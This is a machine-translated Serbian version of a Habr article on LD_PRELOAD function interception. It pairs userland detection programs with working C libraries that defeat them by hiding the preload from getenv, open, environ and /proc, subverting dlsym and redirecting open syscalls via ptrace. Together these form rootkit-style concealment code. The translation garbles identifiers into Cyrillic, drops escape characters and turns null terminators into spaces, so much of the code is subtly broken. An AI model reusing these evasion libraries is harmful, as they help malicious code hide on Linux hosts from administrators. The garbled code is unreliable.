Ова белешка је написана 2014. године, али сам управо био под репресијом на Хабреу и није угледала светлост дана. За време забране заборавио сам на то, али сада сам га нашао у нацртима. Размишљао сам да га избришем, али можда некоме буде од користи.

Генерално, мало администраторско читање петком на тему тражења „укључено“ ЛД_ПРЕЛОАД.
1. Кратка дигресија за оне који нису упознати са заменом функција
Остало може ићи директно на p.2.
Почнимо са класичним примером:
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main()
{
srand (time(NULL));
for(int i=0; i<5; i++){
printf ("%dn", rand()%100);
}
}
Састављамо без икаквих заставица:
$ gcc ./ld_rand.c -o ld_rand
И, као што се очекивало, добијамо 5 случајних бројева мањих од 100:
$ ./ld_rand
53
93
48
57
20
Али замислимо да немамо изворни код програма, али морамо да променимо понашање.
Хајде да направимо сопствену библиотеку са сопственим прототипом функције, на пример:
int rand(){
return 42;
}
$ gcc -shared -fPIC ./o_rand.c -o ld_rand.so
А сада је наш случајни избор прилично предвидљив:
# LD_PRELOAD=$PWD/ld_rand.so ./ld_rand
42
42
42
42
42
Овај трик изгледа још импресивније ако прво извеземо нашу библиотеку преко
$ export LD_PRELOAD=$PWD/ld_rand.so
или ћемо то први урадити
# echo "$PWD/ld_rand.so" > /etc/ld.so.preload
а затим покрените програм као и обично. Нисмо променили ни једну линију кода у самом програму, али његово понашање сада зависи од мале функције у нашој библиотеци. Штавише, у време писања програма, ред није ни постојао.
Због чега је наш програм користио лажни ред? Идемо корак по корак.
Када се апликација покрене, учитавају се одређене библиотеке које садрже функције потребне програму. Можемо их видети користећи лдд:
# ldd ./ld_rand
linux-vdso.so.1 (0x00007ffc8b1f3000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe3da8af000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe3daa7e000)
Ова листа може да варира у зависности од верзије ОС-а, али тамо мора да постоји датотека либц.со. Управо ова библиотека обезбеђује системске позиве и основне функције као нпр часови , маллоц, принтф итд Наш ред је такође међу њима. Хајде да се уверимо у ово:
# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " rand$"
000000000003aef0 T rand
Хајде да видимо да ли се скуп библиотека мења када се користи ЛД_ПРЕЛОАД
# LD_PRELOAD=$PWD/ld_rand.so ldd ./ld_rand
linux-vdso.so.1 (0x00007ffea52ae000)
/scripts/c/ldpreload/ld_rand.so (0x00007f690d3f9000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f690d230000)
/lib64/ld-linux-x86-64.so.2 (0x00007f690d405000)
Испоставило се да је променљива подешена ЛД_ПРЕЛОАД тера наше да учитавамо лд_ранд.со чак и упркос чињеници да сам програм то не захтева. А пошто наша функција "ранд" оптерећења раније од ред из либц.со, онда она влада уточиштем.
У реду, успели смо да заменимо нативну функцију, али како да обезбедимо да њена функционалност буде очувана и да се додају неке акције. Хајде да изменимо наш случајни случај:
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
typedef int (*orig_rand_f_type)(void);
int rand()
{
/* Выполняем некий код */
printf("Evil injected coden");
orig_rand_f_type orig_rand;
orig_rand = (orig_rand_f_type)dlsym(RTLD_NEXT,"rand");
return orig_rand();
}
Овде, као наш „додатак“, штампамо само један ред текста, након чега креирамо показивач на оригиналну функцију ред. Да бисмо добили адресу ове функције нам је потребна длсим је функција из библиотеке либдлкоји ће наћи наше ред у гомилу динамичких библиотека. Након чега ћемо позвати ову функцију и вратити њену вредност. Сходно томе, мораћемо да додамо "-лдл" током монтаже:
$ gcc -ldl -shared -fPIC ./o_rand_evil.c -o ld_rand_evil.so
$ LD_PRELOAD=$PWD/ld_rand_evil.so ./ld_rand
Evil injected code
66
Evil injected code
28
Evil injected code
93
Evil injected code
93
Evil injected code
95
А наш програм користи "нативе" ред, претходно извршивши неке непристојне радње.
2. Бол тражења
Знајући за потенцијалну претњу, желимо да је откријемо прелоад Изведено је. Јасно је да је најбољи начин да се открије гурнути у кернел, али су ме занимале опције детекције у корисничком простору.
Затим, решења за откривање и њихово побијање ће доћи у паровима.
2.1. Почнимо једноставно
Као што је раније поменуто, можете одредити библиотеку за учитавање помоћу променљиве ЛД_ПРЕЛОАД или уписивањем у датотеку /етц/лд.со.прелоад. Хајде да направимо два једноставна детектора.
Први је да проверите подешену променљиву окружења:
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
int main()
{
char* pGetenv = getenv("LD_PRELOAD");
pGetenv != NULL ?
printf("LD_PRELOAD (getenv) [+]n"):
printf("LD_PRELOAD (getenv) [-]n");
}
Други је да проверите да ли је датотека отворена:
#include <stdio.h>
#include <fcntl.h>
int main()
{
open("/etc/ld.so.preload", O_RDONLY) != -1 ?
printf("LD_PRELOAD (open) [+]n"):
printf("LD_PRELOAD (open) [-]n");
}
Учитајмо библиотеке:
$ export LD_PRELOAD=$PWD/ld_rand.so
$ echo "$PWD/ld_rand.so" > /etc/ld.so.preload
$ ./detect_base_getenv
LD_PRELOAD (getenv) [+]
$ ./detect_base_open
LD_PRELOAD (open) [+]
Овде и испод, [+] означава успешно откривање.
Сходно томе, [-] значи заобилажење детекције.
Колико је ефикасан такав детектор? Хајде да прво погледамо променљиву окружења:
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>
char* (*orig_getenv)(const char *) = NULL;
char* getenv(const char *name)
{
if(!orig_getenv) orig_getenv = dlsym(RTLD_NEXT, "getenv");
if(strcmp(name, "LD_PRELOAD") == 0) return NULL;
return orig_getenv(name);
}
$ gcc -shared -fpic -ldl ./ld_undetect_getenv.c -o ./ld_undetect_getenv.so
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_base_getenv
LD_PRELOAD (getenv) [-]
Слично томе, ослобађамо се чека часови :
#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <errno.h>
int (*orig_open)(const char*, int oflag) = NULL;
int open(const char *path, int oflag, ...)
{
char real_path[256];
if(!orig_open) orig_open = dlsym(RTLD_NEXT, "open");
realpath(path, real_path);
if(strcmp(real_path, "/etc/ld.so.preload") == 0){
errno = ENOENT;
return -1;
}
return orig_open(path, oflag);
}
$ gcc -shared -fpic -ldl ./ld_undetect_open.c -o ./ld_undetect_open.so
$ LD_PRELOAD=./ld_undetect_open.so ./detect_base_open
LD_PRELOAD (open) [-]
Да, овде се могу користити други начини за приступ датотеци, као што су, опенКСНУМКС, држава итд., али је, у ствари, потребно истих 5-10 редова кода да би их преварили.
2.2. Идемо даље
Горе смо користили гетенв() да добијете вредност ЛД_ПРЕЛОАД, али постоји и начин „ниског нивоа“ да се до њега дође ЕНВ-Променљиве. Нећемо користити средње функције, већ ћемо се позивати на низ **околина, који чува копију окружења:
#include <stdio.h>
#include <string.h>
extern char **environ;
int main(int argc, char **argv) {
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++)
{
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL)
{
printf("LD_PRELOAD (**environ) [+]n");
return 0;
}
}
printf("LD_PRELOAD (**environ) [-]n");
return 0;
}
Пошто овде читамо податке директно из меморије, такав позив се не може пресрести, а наш ундетецт_гетенв више не омета идентификацију упада.
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_environ
LD_PRELOAD (**environ) [+]
Чини се да је овај проблем решен? Још увек тек почиње.
Након што се програм покрене, вредност променљиве ЛД_ПРЕЛОАД хакерима више није потребан у меморији, односно могу да га прочитају и обришу пре извршавања било каквих инструкција. Наравно, уређивање низа у меморији је у најмању руку лош стил програмирања, али како ово може зауставити некога ко нам ионако не жели добро?
Да бисмо то урадили морамо да креирамо сопствену лажну функцију у томе(), у којој пресрећемо инсталирану ЛД_ПРЕЛОАД и проследите га нашем линкеру:
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>
extern char **environ;
char *evil_env;
int (*orig_execve)(const char *path, char *const argv[], char *const envp[]) = NULL;
// Создаём фейковую версию init
// которая будет вызвана при загрузке программы
// до выполнения каких-либо инструкций
void evil_init()
{
// Сначала сохраним текущее значение LD_PRELOAD
static const char *ldpreload = "LD_PRELOAD";
int len = strlen(getenv(ldpreload));
evil_env = (char*) malloc(len+1);
strcpy(evil_env, getenv(ldpreload));
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++) {
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL) {
// Избавляемся от текущего LD_PRELOAD
unsetenv(env);
break;
}
}
}
int execve(const char *path, char *const argv[], char *const envp[])
{
int i = 0, j = 0, k = -1, ret = 0;
char** new_env;
if(!orig_execve) orig_execve = dlsym(RTLD_NEXT,"execve");
// Проверям не существует ли других установленных LD_PRELOAD
for(i = 0; envp[i]; i++){
if(strstr(envp[i], "LD_PRELOAD")) k = i;
}
// Если LD_PRELOAD не было установлено до нас, то добавим его
if(k == -1){
k = i;
i++;
}
// Создаём новое окружение
new_env = (char**) malloc((i+1)*sizeof(char*));
// Копируем старое окружение, за исключением LD_PRELOAD
for(j = 0; j < i; j++) {
// перезаписываем или создаём LD_PRELOAD
if(j == k) {
new_env[j] = (char*) malloc(256);
strcpy(new_env[j], "LD_PRELOAD=");
strcat(new_env[j], evil_env);
}
else new_env[j] = (char*) envp[j];
}
new_env[i] = NULL;
ret = orig_execve(path, argv, new_env);
free(new_env[k]);
free(new_env);
return ret;
}
Извршавамо и проверавамо:
$ gcc -shared -fpic -ldl -Wl,-init,evil_init ./ld_undetect_environ.c -o ./ld_undetect_environ.so
$ LD_PRELOAD=./ld_undetect_environ.so ./detect_environ
LD_PRELOAD (**environ) [-]
2.3. /проц/селф/
Међутим, памћење није последње место где можете пронаћи замену ЛД_ПРЕЛОАД, постоји и /проц/. Почнимо са очигледним /проц/{ПИД}/енвирон.
У ствари, постоји универзално решење за неоткрити **околина и /проц/селф/енвирон. Проблем је у "погрешном" понашању унсетенв(енв).
исправна опција
void evil_init()
{
// Сначала сохраним текущее значение LD_PRELOAD
static const char *ldpreload = "LD_PRELOAD";
int len = strlen(getenv(ldpreload));
evil_env = (char*) malloc(len+1);
strcpy(evil_env, getenv(ldpreload));
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++) {
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL) {
// Избавляемся от текущего LD_PRELOAD
//unsetenv(env);
// Вместо unset просто обнулим нашу переменную
for(int j = 0; environ[i][j] != ' '; j++) environ[i][j] = ' ';
break;
}
}
}
$ gcc -shared -fpic -ldl -Wl,-init,evil_init ./ld_undetect_environ_2.c -o ./ld_undetect_environ_2.so
$ (LD_PRELOAD=./ld_undetect_environ_2.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$
Али замислимо да га нисмо нашли и /проц/селф/енвирон садржи „проблематичне” податке.
Прво хајде да пробамо са нашом претходном "маскињом":
$ (LD_PRELOAD=./ld_undetect_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
LD_PRELOAD=./ld_undetect_environ.so
како користи исто за отварање датотеке отворен (), тако да је решење слично ономе што је већ урађено у одељку 2.1, али сада креирамо привремену датотеку у коју копирамо вредности праве меморије без линија које садрже ЛД_ПРЕЛОАД.
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <limits.h>
#include <errno.h>
#define BUFFER_SIZE 256
int (*orig_open)(const char*, int oflag) = NULL;
char *soname = "fakememory_preload.so";
char *sstrstr(char *str, const char *sub)
{
int i, found;
char *ptr;
found = 0;
for(ptr = str; *ptr != ' '; ptr++) {
found = 1;
for(i = 0; found == 1 && sub[i] != ' '; i++){
if(sub[i] != ptr[i]) found = 0;
}
if(found == 1)
break;
}
if(found == 0)
return NULL;
return ptr + i;
}
void fakeMaps(char *original_path, char *fake_path, char *pattern)
{
int fd;
char buffer[BUFFER_SIZE];
int bytes = -1;
int wbytes = -1;
int k = 0;
pid_t pid = getpid();
int fh;
if ((fh=orig_open(fake_path,O_CREAT|O_WRONLY))==-1) {
printf("LD: Cannot open write-file [%s] (%d) (%s)n", fake_path, errno, strerror(errno));
exit (42);
}
if((fd=orig_open(original_path, O_RDONLY))==-1) {
printf("LD: Cannot open read-file.n");
exit(42);
}
do
{
char t = 0;
bytes = read(fd, &t, 1);
buffer[k++] = t;
//printf("%c", t);
if(t == ' ') {
//printf("n");
if(!sstrstr(buffer, "LD_PRELOAD")) {
if((wbytes = write(fh,buffer,k))==-1) {
//printf("write errorn");
}
else {
//printf("writed %dn", wbytes);
}
}
k = 0;
}
}
while(bytes != 0);
close(fd);
close(fh);
}
int open(const char *path, int oflag, ...)
{
char real_path[PATH_MAX], proc_path[PATH_MAX], proc_path_0[PATH_MAX];
pid_t pid = getpid();
if(!orig_open)
orig_open = dlsym(RTLD_NEXT, "open");
realpath(path, real_path);
snprintf(proc_path, PATH_MAX, "/proc/%d/environ", pid);
if(strcmp(real_path, proc_path) == 0) {
snprintf(proc_path, PATH_MAX, "/tmp/%d.fakemaps", pid);
realpath(proc_path_0, proc_path);
fakeMaps(real_path, proc_path, soname);
return orig_open(proc_path, oflag);
}
return orig_open(path, oflag);
}
И ова фаза је прошла:
$ (LD_PRELOAD=./ld_undetect_proc_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$
Следеће очигледно место је /проц/селф/мапс. Нема смисла задржавати се на томе. Решење је потпуно идентично претходном: копирајте податке из датотеке минус линије између либц.со и лд.со.
2.4. Опција из Цхокепоинт-а
Посебно ми се допало ово решење због своје једноставности. Упоређујемо адресе функција учитаних директно из компајлер, и „НЕКСТ“ адресе.
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#define LIBC "/lib/x86_64-linux-gnu/libc.so.6"
int main(int argc, char *argv[]) {
void *libc = dlopen(LIBC, RTLD_LAZY); // Open up libc directly
char *syscall_open = "open";
int i;
void *(*libc_func)();
void *(*next_func)();
libc_func = dlsym(libc, syscall_open);
next_func = dlsym(RTLD_NEXT, syscall_open);
if (libc_func != next_func) {
printf("LD_PRELOAD (syscall - %s) [+]n", syscall_open);
printf("Libc address: %pn", libc_func);
printf("Next address: %pn", next_func);
}
else {
printf("LD_PRELOAD (syscall - %s) [-]n", syscall_open);
}
return 0;
}
Учитавање библиотеке пресретном "отвори ()" и провери:
$ export LD_PRELOAD=$PWD/ld_undetect_open.so
$ ./detect_chokepoint
LD_PRELOAD (syscall - open) [+]
Libc address: 0x7fa86893b160
Next address: 0x7fa868a26135
Побијање се показало још једноставнијим:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>
extern void * _dl_sym (void *, const char *, void *);
void * dlsym (void * handle, const char * symbol)
{
return _dl_sym (handle, symbol, dlsym);
}
# LD_PRELOAD=./ld_undetect_chokepoint.so ./detect_chokepoint
LD_PRELOAD (syscall - open) [-]
2.5. Сисцаллс
Чини се да је то све, али ми ћемо се и даље копрцати. Ако системски позив усмеримо директно на језгро, ово ће заобићи цео процес пресретања. Решење у наставку је, наравно, зависно од архитектуре (кКСНУМКС_КСНУМКС). Покушајмо да га применимо да бисмо открили отварање лд.со.прелоад.
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#define BUFFER_SIZE 256
int syscall_open(char *path, long oflag)
{
int fd = -1;
__asm__ (
"mov $2, %%rax;" // Open syscall number
"mov %1, %%rdi;" // Address of our string
"mov %2, %%rsi;" // Open mode
"mov $0, %%rdx;" // No create mode
"syscall;" // Straight to ring0
"mov %%eax, %0;" // Returned file descriptor
:"=r" (fd)
:"m" (path), "m" (oflag)
:"rax", "rdi", "rsi", "rdx"
);
return fd;
}
int main()
{
syscall_open("/etc/ld.so.preload", O_RDONLY) > 0 ?
printf("LD_PRELOAD (open syscall) [+]n"):
printf("LD_PRELOAD (open syscall) [-]n");
}
$ ./detect_syscall
LD_PRELOAD (open syscall) [+]
И овај проблем има решење. Извод из човек'А:
птраце је алатка која омогућава родитељском процесу да посматра и контролише напредак другог процеса, прегледа и мења његове податке и регистре. Обично се ова функција користи за креирање тачака прекида у програму за отклањање грешака и надгледање системских позива.
Родитељски процес може започети праћење тако што ће прво позвати форк(2), а затим резултирајући подређени процес може извршити ПТРАЦЕ_ТРАЦЕМЕ, након чега (обично) слиједи извршавање екец(3). С друге стране, родитељски процес може започети отклањање грешака у постојећем процесу користећи ПТРАЦЕ_АТТАЦХ.
Приликом праћења, дете процес се зауставља сваки пут када прими сигнал, чак и ако се сигнал игнорише. (Изузетак је СИГКИЛЛ, који ради нормално.) Родитељски процес ће бити обавештен о томе позивањем ваит(2), након чега може да види и измени садржај подређеног процеса пре него што почне. Родитељски процес тада дозвољава детету да настави да трчи, у неким случајевима игноришући сигнал који му је послат или уместо тога шаље други сигнал).
Дакле, решење је да надгледате процес, заустављате га пре сваког системског позива и, ако је потребно, преусмерите нит на функцију куке.
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <limits.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/reg.h>
#include <sys/user.h>
#include <asm/unistd.h>
#if defined(__x86_64__)
#define REG_SYSCALL ORIG_RAX
#define REG_SP rsp
#define REG_IP rip
#endif
long NOHOOK = 0;
long evil_open(const char *path, long oflag, long cflag)
{
char real_path[PATH_MAX], maps_path[PATH_MAX];
long ret;
pid_t pid;
pid = getpid();
realpath(path, real_path);
if(strcmp(real_path, "/etc/ld.so.preload") == 0)
{
errno = ENOENT;
ret = -1;
}
else
{
NOHOOK = 1; // Entering NOHOOK section
ret = open(path, oflag, cflag);
}
// Exiting NOHOOK section
NOHOOK = 0;
return ret;
}
void init()
{
pid_t program;
// Форкаем дочерний процесс
program = fork();
if(program != 0) {
int status;
long syscall_nr;
struct user_regs_struct regs;
// Подключаемся к дочернему процессу
if(ptrace(PTRACE_ATTACH, program) != 0) {
printf("Failed to attach to the program.n");
exit(1);
}
waitpid(program, &status, 0);
// Отслеживаем только SYSCALLs
ptrace(PTRACE_SETOPTIONS, program, 0, PTRACE_O_TRACESYSGOOD);
while(1) {
ptrace(PTRACE_SYSCALL, program, 0, 0);
waitpid(program, &status, 0);
if(WIFEXITED(status) || WIFSIGNALED(status)) break;
else if(WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP|0x80) {
// Получаем номер системного вызова
syscall_nr = ptrace(PTRACE_PEEKUSER, program, sizeof(long)*REG_SYSCALL);
if(syscall_nr == __NR_open) {
// Читаем слово из памяти дочернего процесса
NOHOOK = ptrace(PTRACE_PEEKDATA, program, (void*)&NOHOOK);
// Перехватываем вызов
if(!NOHOOK) {
// Копируем регистры дочернего процесса
// в переменную regs родительского
ptrace(PTRACE_GETREGS, program, 0, ®s);
// Push return address on the stack
regs.REG_SP -= sizeof(long);
// Копируем слово в память дочернего процесса
ptrace(PTRACE_POKEDATA, program, (void*)regs.REG_SP, regs.REG_IP);
// Устанавливаем RIP по адресу evil_open
regs.REG_IP = (unsigned long) evil_open;
// Записываем состояние регистров процесса
ptrace(PTRACE_SETREGS, program, 0, ®s);
}
}
ptrace(PTRACE_SYSCALL, program, 0, 0);
waitpid(program, &status, 0);
}
}
exit(0);
}
else {
sleep(0);
}
}
Проверавамо:
$ ./detect_syscall
LD_PRELOAD (open syscall) [+]
$ LD_PRELOAD=./ld_undetect_syscall.so ./detect_syscall
LD_PRELOAD (open syscall) [-]
+0-0=5
Хвала Вам много
, чији су чланци, извори и коментари учинили много више од мене да се ова белешка појави овде.
Извор: ввв.хабр.цом
